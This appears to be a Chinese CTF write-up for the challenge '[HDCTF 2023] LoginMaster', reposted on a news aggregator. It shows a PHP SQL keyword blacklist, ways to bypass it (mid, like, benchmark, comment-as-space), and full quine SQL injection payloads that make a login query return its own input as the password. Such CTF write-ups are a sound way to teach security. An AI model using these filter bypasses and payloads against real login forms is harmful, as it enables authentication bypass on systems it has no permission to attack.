当前位置: 首页 > news >正文

[HDCTF 2023]LoginMaster

[HDCTF 2023]LoginMaster

知识点

quine注入

解题

用户名要为admin

查看robots.txt,查看源码

password是注入点

function checkSql($s) 
{if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){alertMes('hacker', 'index.php');}
}
if ($row['password'] === $password) {die($FLAG);} else {alertMes("wrong password",'index.php');

绕过:

subst用mid绕过=,<,>,regexp等号可以用like代替sleep可以用benchmark代替

时间盲注得到表为空。

payload:

'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#1'union/**/select/**/replace(replace('1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

http://www.mrgr.cn/news/79573.html

相关文章:

  • AI绘画设计实战-Day2
  • 【Rive】波动文字
  • AES 与 SM4 加密算法:深度解析与对比
  • OpenSearch Dashboard 权限管理:如何设置只读权限
  • 基于SpringBoot+Vue的旅游网站管理系统
  • MySQL--》如何在SQL中巧妙运用函数与约束,优化数据处理与验证?
  • 计算机毕业设计SpringBoot+Vue.js知识图谱课程推荐系统 课程预测系统 mooc慕课课程爬虫 课程大数据 课程数据分析大屏 大数据毕业设计 大
  • windows ping 执行过程分析
  • 【Docker】Linux与Windows系统安装Docker+Docker上简单安装MySQL
  • 黑马redis
  • frida(objection)中x.ts到x.py封装路径
  • 复现论文:PromptTA: Prompt-driven Text Adapter for Source-freeDomain Generalization
  • ubuntu防火墙设置(四)——iptables语法与防火墙基础配置
  • 树莓派4B使用opencv读取摄像头配置指南
  • 【计网笔记】网络参考模型
  • MongoDB-BSON 协议与类型
  • 【数据库】关系代数和SQL语句
  • [C++]C风格数组之指针数组、数组指针、指向数组的指针、指向数组第一个元素的地址的指针的异同和联系
  • Redis(一)
  • openjdk17 jvm加载class文件,解析字段和方法,C++源码展示